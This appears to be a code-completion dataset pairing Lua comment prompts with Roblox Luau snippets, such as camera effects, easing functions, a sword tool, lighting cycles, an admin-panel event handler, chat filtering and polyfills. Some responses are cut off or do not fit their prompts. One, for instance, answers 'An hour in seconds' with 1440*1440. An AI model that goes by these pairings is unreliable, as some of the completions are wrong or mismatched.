Prompt: -- Connecter les événements pour les effets de mouvement

Response:
game:GetService("UserInputService").InputBegan:Connect(function(input)
	if input.KeyCode == Enum.KeyCode.Space then
		addRecoil(Vector3.new(0, 0, -2))
	end
end)

game:GetService("RunService").RenderStepped:Connect(function()
	addSwing(Vector3.new(math.sin(workspace.DistributedGameTime * 2) * 0.01, 0, 0))
	if humanoid and humanoid.Health > 0 then
		updateCamera()
	end
end)


Prompt: --cam.FieldOfView = 80

Response:
local part = Instance.new("Part")
part.Anchored = true
part.CanCollide = false
part.Transparency = 0.5
part.BrickColor = BrickColor.new("Pastel light blue")
part.TopSurface = "Smooth"
part.BottomSurface = "Smooth"
part.formFactor = "Custom"
part.Size = Vector3.new(.2,1.2,.2)
local mesh = Instance.new("BlockMesh")
mesh.Scale = Vector3.new(.4,2,.4)
mesh.Parent = part
wait()

while true do
for i = 1, amount do
	wait(.03)
	local drop = part:Clone()


Prompt:
-- Where applicable
-- a = amplitude
-- p = period

Response:
local sin, cos, asin = math.sin, math.cos, math.asin

local function Linear(t, b, c, d)
	return c * t / d + b
end

local function Smooth(t, b, c, d)
	t = t / d
	return c * t * t * (3 - 2 * t) + b
end

local function Smoother(t, b, c, d)
	t = t / d
	return c * t * t * t * (t * (6 * t - 15) + 10) + b
end


Response:
This = script.Parent
Elevator = This.Parent.Parent.Parent
CustomLabel = require(Elevator.CustomLabel)
Characters = require(script.Characters)

CustomText = CustomLabel["CUSTOMFLOORLABEL"]

Elevator:WaitForChild("Floor").Changed:connect(function(floor)
	--custom indicator code--
	ChangeFloor(tostring(floor))
end)

function ChangeFloor(SF)
	if CustomText[tonumber(SF)] then
		SF = CustomText[tonumber(SF)]
	end
	SetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or "NIL"))
	SetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))
end

function SetDisplay(ID,CHAR)
	if This.Display:FindFirstChild("DIG"..ID) and Characters[CHAR] ~= nil then
		for i,l in pairs(Characters[CHAR]) do
			for r=1,16 do
				This.Display["DIG"..ID]["D"..r].BrickColor = (l:sub(r,r) == "1" and BrickColor.new(ActiveColour) or BrickColor.new(InactiveColour))
				This.Display["DIG"..ID]["D"..r].Material = (l:sub(r,r) == "1" and "Neon" or "SmoothPlastic")
			end
		end
	end
end


Prompt: -- Tweening storm position/radius variables

Response:
local stormPosTweenValue = Instance.new("Vector3Value")
stormPosTweenValue.Parent = script
local stormPosTween = nil
local stormPosSetToState = false
local stormRadiusTweenValue = Instance.new("NumberValue")
stormRadiusTweenValue.Parent = script
local stormRadiusTween = nil
local stormRadiusSetToState = false

local _baseLighting = {}
local _stormLighting = {
	FogStart = 50,
	FogEnd = 500,
	Brightness = 0,
	ExposureCompensation = -1.9,
}

for k, _ in pairs(_stormLighting) do
	_baseLighting[k] = Lighting[k]
end

local function _getAdjustedTime(time)
	return time * _DEBUG_TIME_SCALE + _DEBUG_START_TIME
end

local function _onStateUpdate(state)
	_state = state
end


Prompt:
--[[for i = 1, 16 do
	b.VertexColor = Vector3.new((b.VertexColor.X - 15/255), (b.VertexColor.Y - 15/255), 0)
	wait(0.03)
end]]


Prompt: -------- OMG HAX

Response:
r = game:service("RunService")

local damage = 10

local slash_damage = 11
local lunge_damage = 22

sword = script.Parent.Handle
Tool = script.Parent

local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "http://www.roblox.com/asset/?id=11998777"
SlashSound.Pitch = .8
SlashSound.Parent = sword

local LungeSound = Instance.new("Sound")
LungeSound.SoundId = "http://www.roblox.com/asset/?id=11998796"
LungeSound.Pitch = .8
LungeSound.Parent = sword

local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "http://www.roblox.com/asset/?id=11998770"
LungeSound.Pitch = .8
UnsheathSound.Parent = sword

function blow(hit)
	local humanoid = hit.Parent:findFirstChild("Humanoid")
	local vCharacter = Tool.Parent
	local vPlayer = game.Players:playerFromCharacter(vCharacter)
	local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
	if humanoid~=nil and humanoid ~= hum and hum ~= nil then
		-- final check, make sure sword is in-hand

		local right_arm = vCharacter:FindFirstChild("Right Arm")
		if (right_arm ~= nil) then
			local joint = right_arm:FindFirstChild("RightGrip")
			if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
				tagHumanoid(humanoid, vPlayer)
				humanoid:TakeDamage(damage)
				wait(1)
				untagHumanoid(humanoid)
			end
		end

	end
end

function tagHumanoid(humanoid, player)
	local creator_tag = Instance.new("ObjectValue")
	creator_tag.Value = player
	creator_tag.Name = "creator"
	creator_tag.Parent = humanoid
end

function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild("creator")
		if tag ~= nil then
			tag.Parent = nil
		end
	end
end

function attack()
	damage = slash_damage
	SlashSound:play()
	Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.7
	Tool.Parent.Torso["Right Shoulder"].DesiredAngle = 3.6
	wait(.1)
	Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 1

end

function lunge()
	damage = lunge_damage

	LungeSound:play()

	local anim = Instance.new("StringValue")
	anim.Name = "toolanim"
	anim.Value = "Lunge"
	anim.Parent = Tool

	local force = Instance.new("BodyVelocity")
	force.velocity =  Vector3.new(0,80,0)
	force.Parent = Tool.Parent.Torso
	wait(.25)
	force.velocity =  (Tool.Parent.Torso.CFrame.lookVector * 140)  + Vector3.new(0, 60,0)
	--swordOut()
	wait(.5)
	force.Parent = nil
	wait(.5)
	--swordUp()

	damage = slash_damage
end

function swordUp()
	Tool.GripForward = Vector3.new(-1,0,0)
	Tool.GripRight = Vector3.new(0,1,0)
	Tool.GripUp = Vector3.new(0,0,1)
end

function swordOut()
	Tool.GripForward = Vector3.new(0,0,1)
	Tool.GripRight = Vector3.new(0,-1,0)
	Tool.GripUp = Vector3.new(-1,0,0)
end

function swordAcross()
	-- parry
end

Tool.Enabled = true
local last_attack = 0
function onActivated()

	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print("Humanoid not found")
		return
	end

	t = r.Stepped:wait()

	if (t - last_attack < .2) then
		lunge()
	else
		attack()
	end

	last_attack = t

	--wait(.5)

	Tool.Enabled = true
end

function onEquipped()
	UnsheathSound:play()
end

script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)

connection = sword.Touched:connect(blow)


Prompt: ------------- Settings

Response:
local Lighting = game.Lighting
local TweenService = game:GetService("TweenService")

function day()
	TweenService:Create(Lighting, TweenInfo.new(Speed), {ClockTime = 12}):Play()
	TweenService:Create(Lighting, TweenInfo.new(Speed), {Brightness = 3.05}):Play()
	TweenService:Create(Lighting, TweenInfo.new(Speed), {Ambient = Color3.fromRGB(106, 130, 186)}):Play()
	TweenService:Create(Lighting, TweenInfo.new(Speed), {ColorShift_Bottom = Color3.fromRGB(0,0,0)}):Play()
end

function night()
	TweenService:Create(Lighting, TweenInfo.new(Speed), {ClockTime = 0}):Play()
	TweenService:Create(Lighting, TweenInfo.new(Speed), {Brightness = 0.4}):Play()
	TweenService:Create(Lighting, TweenInfo.new(Speed), {Ambient = Color3.fromRGB(0,0,0)}):Play()
	TweenService:Create(Lighting, TweenInfo.new(Speed), {ColorShift_Bottom = Color3.fromRGB(0,0,0)}):Play()
end

while true do
	day()
	wait(DayDuration60)
	night()
	wait(NightDuration60)
end


Prompt: -- << SETUP >>

Response:
for _,revent in pairs(main.signals:GetChildren()) do
	if revent:IsA("RemoteEvent") then
		revent.OnClientEvent:Connect(function(args)
			if not main.initialized then main.client.Signals.Initialized.Event:Wait() end

			---------------------------------------------
			if revent.Name == "ChangeStat" then
				local statName, newValue = args[1], args[2]
				main.pdata[statName] = newValue
				if statName == "Donor" then
					main:GetModule("PageSpecial"):UpdateDonorFrame()
				end

			elseif revent.Name == "InsertStat" then
				local locationName, newValue = args[1], args[2]
				table.insert(main.pdata[locationName], newValue)

			elseif revent.Name == "RemoveStat" then
				local locationName, newValue = args[1], args[2]
				for i,v in pairs(main.pdata[locationName]) do
					if tostring(v) == tostring(newValue) then
						table.remove(main.pdata[locationName], i)
						break
					end
				end

			elseif revent.Name == "Notice" or revent.Name == "Error" then
				main:GetModule("Notices"):Notice(revent.Name, args[1], args[2], args[3])

			elseif revent.Name == "ShowPage" then
				main:GetModule("GUIs"):ShowSpecificPage(args[1], args[2])

			elseif revent.Name == "ShowBannedUser" then
				main:GetModule("GUIs"):ShowSpecificPage("Admin", "Banland")
				if type(args) == "table" then
					main:GetModule("cf"):ShowBannedUser(args)
				end

			elseif revent.Name == "SetCameraSubject" then
				main:GetModule("cf"):SetCameraSubject(args)

			elseif revent.Name == "Clear" then
				main:GetModule("Messages"):ClearMessageContainer()

			elseif revent.Name == "ShowWarning" then
				main:GetModule("cf"):ShowWarning(args)

			elseif revent.Name == "Message" then
				main:GetModule("Messages"):Message(args)

			elseif revent.Name == "Hint" then
				main:GetModule("Messages"):Hint(args)

			elseif revent.Name == "GlobalAnnouncement" then
				main:GetModule("Messages"):GlobalAnnouncement(args)

			elseif revent.Name == "SetCoreGuiEnabled" then
				main.starterGui:SetCoreGuiEnabled(Enum.CoreGuiType[args[1]], args[2])

			elseif revent.Name == "CreateLog" then
				main:GetModule("cf"):CreateNewCommandMenu(args[1], args[2], 5)

			elseif revent.Name == "CreateAlert" then
				main:GetModule("cf"):CreateNewCommandMenu("alert", {args[1], args[2]}, 8, true)

			elseif revent.Name == "CreateBanMenu" then
				main:GetModule("cf"):CreateNewCommandMenu("banMenu", args, 6)

			elseif revent.Name == "CreatePollMenu" then
				main:GetModule("cf"):CreateNewCommandMenu("pollMenu", args, 9)

			elseif revent.Name == "CreateMenu" then
				main:GetModule("cf"):CreateNewCommandMenu(args.MenuName, args.Data, args.TemplateId)

			elseif revent.Name == "CreateCommandMenu" then
				local title = args[1]
				local details = args[2]
				local menuType = args[3]
				main:GetModule("cf"):CreateNewCommandMenu(title, details, menuType)

			elseif revent.Name == "RankChanged" then
				main:GetModule("cf"):UpdateIconVisiblity()
				main:GetModule("PageAbout"):UpdateRankName()
				main:GetModule("GUIs"):DisplayPagesAccordingToRank(true)
				if main.initialized then
					main:GetModule("PageCommands"):CreateCommands()
				end

			elseif revent.Name == "ExecuteClientCommand" then
				local speaker, args, commandName, other = args[1], args[2], args[3], args[4]
				local unFunction = other.UnFunction
				local functionType = "Function"
				if unFunction then
					functionType = "UnFunction"
				end
				local clientCommand = main:GetModule("ClientCommands")[commandName]
				if clientCommand then
					local Function = clientCommand[functionType]
					if Function then
						Function(speaker, args, clientCommand)
					end
				end

			elseif revent.Name == "ReplicationEffectClientCommand" then
				local commandName = args[1]
				local speaker = args[2]
				local rArgs = args[3]
				local clientCommand = main:GetModule("ClientCommands")[commandName]
				if clientCommand then
					local replicationEffect = clientCommand.ReplicationEffect
					if replicationEffect then
						replicationEffect(speaker, rArgs, clientCommand)
					end
				end

			elseif revent.Name == "ActivateClientCommand" then
				local commandName = args[1]
				local extraDetails = args[2]
				--Custom speed
				local speed = extraDetails and ((extraDetails.Speed ~= 0 and extraDetails.Speed) or nil)
				if speed then
					main.commandSpeeds[commandName] = speed
					local oldMenu = main.gui:FindFirstChild("CommandMenufly")
					main:GetModule("cf"):DestroyCommandMenuFrame(oldMenu)
				end
				--Deactivate other flight commands
				if main.commandSpeeds[commandName] then
					for otherCommandName, _ in pairs(main.commandSpeeds) do
						if otherCommandName ~= commandName then
							main:GetModule("cf"):DeactivateCommand(otherCommandName)
						end
					end
				end
				--Activate command
				main.commandsAllowedToUse[commandName] = true
				main:GetModule("cf"):ActivateClientCommand(commandName, extraDetails)
				--Setup command menu
				local menuDetails, menuType
				for menuTypeName, menuCommands in pairs(main.commandsWithMenus) do
					menuDetails = menuCommands[commandName]
					if menuDetails then
						menuType = tonumber(menuTypeName:match("%d+"))
						break
					end
				end
				if menuDetails then
					main:GetModule("cf"):CreateNewCommandMenu(commandName, menuDetails, menuType)
				end

			elseif revent.Name == "DeactivateClientCommand" then
				main:GetModule("cf"):DeactivateCommand(args[1])

			elseif revent.Name == "FadeInIcon" then
				--[[
				local topBarFrame = main.gui.CustomTopBar
				local imageButton = topBarFrame.ImageButton
				imageButton.ImageTransparency = 1
				main.tweenService:Create(imageButton, TweenInfo.new(1), {ImageTransparency = 0}):Play()
				--]]

			elseif revent.Name == "ChangeMainVariable" then
				main[args[1]] = args

			end
			---------------------------------------------

		end)

	elseif revent:IsA("RemoteFunction") then
		function revent.OnClientInvoke(args)
			if not main.initialized then main.client.Signals.Initialized.Event:Wait() end

			---------------------------------------------
			if revent.Name == "GetLocalDate" then
				return os.date("*t", args)

			end
		end

	end
end

return module


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local u1 = nil;
coroutine.wrap(function()
	u1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
end)();
return function(p1)
	return "1/" .. u1.Functions.FormatAbbreviated(1 / p1);
end;


Prompt: --[[Drivetrain Initialize]]

Response:
	local Drive={}

	--Power Front Wheels
	--if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
		--for i,v in pairs(car.Wheels:GetChildren()) do
			--if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
				--table.insert(Drive,v)
			--end
		--end
	--end

	--Power Rear Wheels
	if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
		for i,v in pairs(car.Wheels:GetChildren()) do
			if v.Name=="RL" or v.Name=="RR" or v.Name=="R" then
				table.insert(Drive,v)
			end
		end
	end

	--Determine Wheel Size
	local wDia = 0
	for i,v in pairs(Drive) do
		if v.Size.x>wDia then wDia = v.Size.x end
	end

	--Pre-Toggled PBrake
	for i,v in pairs(car.Wheels:GetChildren()) do
		if v["#AV"]:IsA("BodyAngularVelocity") then
			if math.abs(v["#AV"].maxTorque.Magnitude-PBrakeForce)<1 then
				_PBrake=true
			end
		else
			if math.abs(v["#AV"].MotorMaxTorque-PBrakeForce)<1 then
				_PBrake=true
			end
		end
	end


Prompt: --[[ The Module ]]

Response:
--
local MouseLockController = {}
MouseLockController.__index = MouseLockController

function MouseLockController.new()
	local self = setmetatable({}, MouseLockController)

	self.isMouseLocked = false
	self.savedMouseCursor = nil
	self.boundKeys = {Enum.KeyCode.LeftShift, Enum.KeyCode.RightShift} -- defaults

	self.mouseLockToggledEvent = Instance.new("BindableEvent")

	local boundKeysObj = script:FindFirstChild("BoundKeys")
	if (not boundKeysObj) or (not boundKeysObj:IsA("StringValue")) then
		-- If object with correct name was found, but it's not a StringValue, destroy and replace
		if boundKeysObj then
			boundKeysObj:Destroy()
		end

		boundKeysObj = Instance.new("StringValue")
		boundKeysObj.Name = "BoundKeys"
		boundKeysObj.Value = "LeftControl"
		boundKeysObj.Parent = script
	end

	if boundKeysObj then
		boundKeysObj.Changed:Connect(function(value)
			self:OnBoundKeysObjectChanged(value)
		end)
		self:OnBoundKeysObjectChanged(boundKeysObj.Value) -- Initial setup call
	end

	-- Watch for changes to user's ControlMode and ComputerMovementMode settings and update the feature availability accordingly
	GameSettings.Changed:Connect(function(property)
		if property == "ControlMode" or property == "ComputerMovementMode" then
			self:UpdateMouseLockAvailability()
		end
	end)

	-- Watch for changes to DevEnableMouseLock and update the feature availability accordingly
	PlayersService.LocalPlayer:GetPropertyChangedSignal("DevEnableMouseLock"):Connect(function()
		self:UpdateMouseLockAvailability()
	end)

	-- Watch for changes to DevEnableMouseLock and update the feature availability accordingly
	PlayersService.LocalPlayer:GetPropertyChangedSignal("DevComputerMovementMode"):Connect(function()
		self:UpdateMouseLockAvailability()
	end)

	self:UpdateMouseLockAvailability()

	return self
end

function MouseLockController:GetIsMouseLocked()
	return self.isMouseLocked
end

function MouseLockController:GetBindableToggleEvent()
	return self.mouseLockToggledEvent.Event
end

function MouseLockController:GetMouseLockOffset()
	local offsetValueObj = script:FindFirstChild("CameraOffset")
	if offsetValueObj and offsetValueObj:IsA("Vector3Value") then
		return offsetValueObj.Value
	else
		-- If CameraOffset object was found but not correct type, destroy
		if offsetValueObj then
			offsetValueObj:Destroy()
		end
		offsetValueObj = Instance.new("Vector3Value")
		offsetValueObj.Name = "CameraOffset"
		offsetValueObj.Value = Vector3.new(1.75,0,0) -- Legacy Default Value
		offsetValueObj.Parent = script
	end

	if offsetValueObj and offsetValueObj.Value then
		return offsetValueObj.Value
	end

	return Vector3.new(1.75,0,0)
end

function MouseLockController:UpdateMouseLockAvailability()
	local devAllowsMouseLock = PlayersService.LocalPlayer.DevEnableMouseLock
	local devMovementModeIsScriptable = PlayersService.LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.Scriptable
	local userHasMouseLockModeEnabled = GameSettings.ControlMode == Enum.ControlMode.MouseLockSwitch
	local userHasClickToMoveEnabled =  GameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove
	local MouseLockAvailable = devAllowsMouseLock and userHasMouseLockModeEnabled and not userHasClickToMoveEnabled and not devMovementModeIsScriptable

	if MouseLockAvailable~=self.enabled then
		self:EnableMouseLock(MouseLockAvailable)
	end
end

function MouseLockController:OnBoundKeysObjectChanged(newValue)
	self.boundKeys = {} -- Overriding defaults, note: possibly with nothing at all if boundKeysObj.Value is "" or contains invalid values
	for token in string.gmatch(newValue,"[^%s,]+") do
		for _, keyEnum in pairs(Enum.KeyCode:GetEnumItems()) do
			if token == keyEnum.Name then
				self.boundKeys[#self.boundKeys+1] = keyEnum
				break
			end
		end
	end
	self:UnbindContextActions()
	self:BindContextActions()
end


Prompt: -- An hour in seconds

Response:
local RESHOWING_FREQUENCY = 1440*1440

function calculateShowTimes()
	local timeUntilNextShow = nil
	local timeIntoShow = nil
	local currentTime = DateTime.now().UnixTimestampMillis/1000
	local timeUntilFirstShow = FIRST_EVER_SHOW - currentTime
	if timeUntilFirstShow > 0 then
		timeUntilNextShow = timeUntilFirstShow
	else
		timeUntilNextShow = timeUntilFirstShow % RESHOWING_FREQUENCY
		timeIntoShow = RESHOWING_FREQUENCY - timeUntilNextShow
	end
	return timeUntilNextShow, timeIntoShow
end

function loadPreShowVenue()
	-- The PreShowVenue scene length needs to be adjusted to match the time until the next show.
	local timeUntilNextShow, timeIntoShow = calculateShowTimes()
	PSV_SCENE:SetAttribute("TimeLength", timeUntilNextShow)
	EventSequencer.loadScene(PSV_SCENE.Name)
end


Prompt:
--if tool then
--	local handle = tool:FindFirstChild("Handle")
--	local toolCopy = tool:Clone()
--	toolCopy.Parent = game.ServerStorage
--	local toolOnPad = true
--
--	local parentConnection
--	parentConnection = tool.AncestryChanged:connect(function()
--		if handle then handle.Anchored = false end
--		toolOnPad = false
--		parentConnection:disconnect()
--	end)
--
--	if handle then
--		handle.CFrame = (spawner.CFrame + Vector3.new(0,handle.Size.Z/2 + 1,0)) * CFrame.Angles(-math.pi/2,0,0)
--		handle.Anchored = true
--	end
--
--	while true do
--		while toolOnPad do
--			if handle then
--				handle.CFrame = handle.CFrame * CFrame.Angles(0,0,math.pi/60)
--			end
--			wait()
--		end
--		wait(configs["SpawnCooldown"])
--		local newTool = toolCopy:Clone()
--		newTool.Parent = game.Workspace
--		handle = newTool:FindFirstChild("Handle")
--		toolOnPad = true
--	end
--end


Prompt:
------------------------------------------------------------------------
-- move on to next line
------------------------------------------------------------------------

Response:
function luaX:currIsNewline(ls)
  return ls.current == "\n" or ls.current == "\r"
end

function luaX:inclinenumber(ls)
  local old = ls.current
  -- lua_assert(currIsNewline(ls))
  self:nextc(ls)  -- skip '\n' or '\r'
  if self:currIsNewline(ls) and ls.current ~= old then
    self:nextc(ls)  -- skip '\n\r' or '\r\n'
  end
  ls.linenumber = ls.linenumber + 1
  if ls.linenumber >= self.MAX_INT then
    self:syntaxerror(ls, "chunk has too many lines")
  end
end


Prompt: --Function For Making New Ray Bricks

Response:
function makeRay(cframe, size)
	local p						= Instance.new("Part")
	p.Name						= "RayPart"
	p.BrickColor				= BrickColor.new("Bright red")
	p.Transparency				= 0.5
	p.Anchored					= true
	p.CanCollide				= false
	p.TopSurface				= Enum.SurfaceType.Smooth
	p.BottomSurface				= Enum.SurfaceType.Smooth
	p.formFactor				= Enum.FormFactor.Custom
	p.CFrame					= cframe
	p.Size						= size
	p.Parent					= m
	ignoreList[#ignoreList+1]	= p
end

		local flash = parts.Parent.Gun.Muzzle:clone()

		flash.Parent = game.Workspace

		flash.Anchored = true

		parts.Parent.Gun.Muzzle.Sound:Play();
		local FL				= flash.PointLight:clone()
		FL.Parent				= flash
		FL.Enabled = true
		local Flashy = flash.Flash:clone()
		Flashy.Parent = flash
		Flashy.Enabled = true
		game.Debris:AddItem(FL, .07)
		game.Debris:AddItem(Flashy, 2)
		game.Debris:AddItem(flash, .08)

round					= Instance.new("Part", user)
round.Name				= "RayPart"
round.Transparency		= 0
round.Anchored			= true
round.CanCollide		= true
round.TopSurface		= Enum.SurfaceType.Smooth
round.BottomSurface		= Enum.SurfaceType.Smooth
round.Material			= Enum.Material.Neon
round.formFactor		= Enum.FormFactor.Custom
round.BrickColor		= BrickColor.new("Daisy orange")
yOffset					= -0.2

local PL				= Instance.new("PointLight")
PL.Parent				= round
PL.Brightness			= 50
PL.Color				= Color3.new(255, 255, 0)
PL.Range				= 10
PL.Shadows				= true


Prompt: -- Roact

Response:
local new = Roact.createElement
local HotkeyTooltip = require(script.Parent:WaitForChild 'HotkeyTooltip')


Prompt:
--[[

have all the edits only on the client until the client is done
then send fire the remote event once with all the changes
instead of per accessory.
too lazy to change. adopt me does it 1 by 1 soo...

]]

Response:
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")


Prompt: --// Connections

Response:
L_108_.OnClientEvent:connect(function(L_191_arg1, L_192_arg2, L_193_arg3, L_194_arg4, L_195_arg5, L_196_arg6, L_197_arg7)
	if L_191_arg1 and not L_15_ then
		MakeFakeArms()

		L_42_ = L_2_.PlayerGui.MainGui
		L_26_ = L_42_:WaitForChild('Others')
		L_27_ = L_26_:WaitForChild('Kill')
		L_28_ = L_42_:WaitForChild('GameGui'):WaitForChild('AmmoFrame')
		L_29_ = L_28_:WaitForChild('Ammo')
		L_30_ = L_28_:WaitForChild('AmmoBackground')
		L_31_ = L_28_:WaitForChild('MagCount')
		L_32_ = L_28_:WaitForChild('MagCountBackground')
		L_33_ = L_28_:WaitForChild('DistDisp')
		L_34_ = L_28_:WaitForChild('Title')
		L_35_ = L_28_:WaitForChild('Mode1')
		L_36_ = L_28_:WaitForChild('Mode2')
		L_37_ = L_28_:WaitForChild('Mode3')
		L_38_ = L_28_:WaitForChild('Mode4')
		L_39_ = L_28_:WaitForChild('Mode5')
		L_40_ = L_28_:WaitForChild('Stances')
		L_41_ = L_42_:WaitForChild('Shading')
		L_41_.Visible = false

		L_34_.Text = L_1_.Name
		UpdateAmmo()

		L_43_ = L_192_arg2
		L_44_ = L_193_arg3
		L_45_ = L_194_arg4
		L_46_ = L_195_arg5
		L_47_ = L_196_arg6
		L_48_ = L_197_arg7
		L_49_ = L_62_.Bolt

		L_87_ = L_48_.C1
		L_88_ = L_48_.C0

		if L_1_:FindFirstChild('AimPart2') then
			L_57_ = L_1_:WaitForChild('AimPart2')
		end

		if L_1_:FindFirstChild('FirePart2') then
			L_60_ = L_1_.FirePart2
		end

		if L_24_.FirstPersonOnly then
			L_2_.CameraMode = Enum.CameraMode.LockFirstPerson
		end
		--uis.MouseIconEnabled = false
		L_5_.FieldOfView = 70
		L_15_ = true
	elseif L_15_ then
		if L_3_ and L_3_.Humanoid and L_3_.Humanoid.Health > 0 and L_9_ then
			Stand()
			Unlean()
		end

		L_93_ = 0
		L_80_ = false
		L_81_ = false
		L_82_ = false
		L_64_ = false
		L_67_ = false
		L_66_ = false
		Shooting = false

		L_97_ = 70

		RemoveArmModel()

		L_42_:Destroy()

		for L_198_forvar1, L_199_forvar2 in pairs(IgnoreList) do
			if L_199_forvar2 ~= L_3_ and L_199_forvar2 ~= L_5_ and L_199_forvar2 ~= L_101_ then
				table.remove(IgnoreList, L_198_forvar1)
			end
		end

		if L_3_:FindFirstChild('Right Arm') and L_3_:FindFirstChild('Left Arm') then
			L_3_['Right Arm'].LocalTransparencyModifier = 0
			L_3_['Left Arm'].LocalTransparencyModifier = 0
		end

		L_78_ = false
		L_69_ = true

		L_2_.CameraMode = Enum.CameraMode.Classic
		L_107_.MouseIconEnabled = true
		L_5_.FieldOfView = 70
		L_15_ = false
		L_107_.MouseDeltaSensitivity = L_52_
		L_4_.Icon = "http://www.roblox.com/asset?id=0"
		L_15_ = false
		L_4_.TargetFilter = nil
	end
end)


Prompt: --Edited by Stickmasterluke

Response:
local p = game.Players.LocalPlayer
local c = game.Workspace:WaitForChild(p.Name)
local m = p:GetMouse()
Tool=script.Parent
local part = Instance.new("Part")
part.CanCollide = false
part.Transparency = 1
part.Name = "Aim"
part.Anchored = true
part.Size = Vector3.new(.1,.1,.1)
part.CFrame = c.Torso.CFrame*CFrame.new(0,0,0)
part.Parent = c.Torso
delay(0,function()
	while wait(0.1) do
		part.CFrame = c.Torso.CFrame*CFrame.new(0,0,-3)
		part.CFrame = CFrame.new(part.Position, m.Hit.p)
	end
end)

enabled = true
function onButton1Down(mouse)
	if not enabled then
		return
	end

	enabled = false
	mouse.Icon = "rbxasset://textures\\GunWaitCursor.png"

	wait(.5)
	mouse.Icon = "rbxasset://textures\\GunCursor.png"
	enabled = true

end

function onEquippedLocal(mouse)
	if mouse == nil then
		print("Mouse not found")
		return
	end

	mouse.Icon = "rbxasset://textures\\GunCursor.png"
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
end

Tool.Equipped:connect(onEquippedLocal)


Prompt: --!strict

Response: local console = require(script.Parent.console)


Prompt:
--///////////////// Internal-Use Methods
--//////////////////////////////////////
--DO NOT REMOVE THIS. Chat must be filtered or your game will face
--moderation.

Response:
function methods:InternalApplyRobloxFilter(speakerName, message, toSpeakerName) --// USES FFLAG
	if (RunService:IsServer() and not RunService:IsStudio()) then
		local fromSpeaker = self:GetSpeaker(speakerName)
		local toSpeaker = toSpeakerName and self:GetSpeaker(toSpeakerName)

		if fromSpeaker == nil then
			return nil
		end

		local fromPlayerObj = fromSpeaker:GetPlayer()
		local toPlayerObj = toSpeaker and toSpeaker:GetPlayer()

		if fromPlayerObj == nil then
			return message
		end

		if allSpaces(message) then
			return message
		end

		local filterStartTime = tick()
		local filterRetries = 0
		while true do
			local success, message = pcall(function()
				if toPlayerObj then
					return Chat:FilterStringAsync(message, fromPlayerObj, toPlayerObj)
				else
					return Chat:FilterStringForBroadcast(message, fromPlayerObj)
				end
			end)
			if success then
				return message
			else
				warn("Error filtering message:", message)
			end
			filterRetries = filterRetries + 1
			if filterRetries > MAX_FILTER_RETRIES or (tick() - filterStartTime) > MAX_FILTER_DURATION then
				self:InternalNotifyFilterIssue()
				return nil
			end
			local backoffInterval = FILTER_BACKOFF_INTERVALS[math.min(#FILTER_BACKOFF_INTERVALS, filterRetries)]
			-- backoffWait = backoffInterval +/- (0 -> backoffInterval)
			local backoffWait = backoffInterval + ((math.random()*2 - 1) * backoffInterval)
			wait(backoffWait)
		end
	else
		--// Simulate filtering latency.
		--// There is only latency the first time the message is filtered, all following calls will be instant.
		if not StudioMessageFilteredCache[message] then
			StudioMessageFilteredCache[message] = true
			wait()
		end
		return message
	end

	return nil
end


Prompt:
--[[
	Package link auto-generated by Rotriever
]]

Response:
local PackageIndex = script.Parent._Index

local Package = require(PackageIndex["mock"]["mock"])

return Package


Prompt: --[[Manage Plugins]]

Response:
	script.Parent["A-Chassis Interface"].Car.Value=car
	for i,v in pairs(script.Parent.Plugins:GetChildren()) do
		for _,a in pairs(v:GetChildren()) do
			if a:IsA("RemoteEvent") or a:IsA("RemoteFunction") then
				a.Parent=car
				for _,b in pairs(a:GetChildren()) do
					if b:IsA("Script") then b.Disabled=false end
				end
			end
		end
		v.Parent = script.Parent["A-Chassis Interface"]
	end
	script.Parent.Plugins:Destroy()


Prompt: -- Stop: Stops the clock

Response:
Stop.OnInvoke = function()
	Running = false
end


Prompt:
--[[NOTICE: This only works if you have an atmosphere in Lighting.
If you don't, feel free to delete this script and put the {"Fog"} script in ServerScriptService.

--Put me in ServerScriptService and you're set! -ethanleung101]]

Response:
while true do
	wait(60)--wait()
	game.Lighting.Atmosphere.Density = 0.35 --makes the game foggy (must add atmosphere in Lighting to make it work)
	wait(120)
	game.Lighting.Atmosphere.Density = 0.2 --returns to normal
	wait(240)
end


Prompt: --!strict

Response:
local Array = script.Parent.Parent
local LuauPolyfill = Array.Parent
local types = require(LuauPolyfill.types)
type Object = types.Object
type Array<T> = types.Array<T>
type Map<K, V> = types.Map<K, V>
type mapFn<T, U> = (element: T, index: number) -> U
type mapFnWithThisArg<T, U> = (thisArg: any, element: T, index: number) -> U

return function<T, U>(
	value: Map<any, any>,
	mapFn: (mapFn<T, U> | mapFnWithThisArg<T, U>)?,
	thisArg: Object?
	-- FIXME Luau: need overloading so the return type on this is more sane and doesn't require manual casts
): Array<U> | Array<T> | Array<string>
	local array = {}

	if mapFn then
		array = {}
		for i, v in value :: any do
			if thisArg ~= nil then
				(array :: Array<U>)[i] = (mapFn :: mapFnWithThisArg<T, U>)(thisArg, v, i)
			else
				(array :: Array<U>)[i] = (mapFn :: mapFn<T, U>)(v, i)
			end
		end
	else
		array = {}
		for i, v in value :: any do
			(array :: Array<T>)[i] = v
		end
	end

	return array
end


Prompt:
-- ROBLOX deviation: declare these now because of scoping differences between in
-- Lua and JS

Response:
local describeComponentFrame
local describeFunctionComponentFrame


Prompt: -- Provide functionality to the local API endpoint instance

Response:
SyncAPI.OnInvoke = function (...)

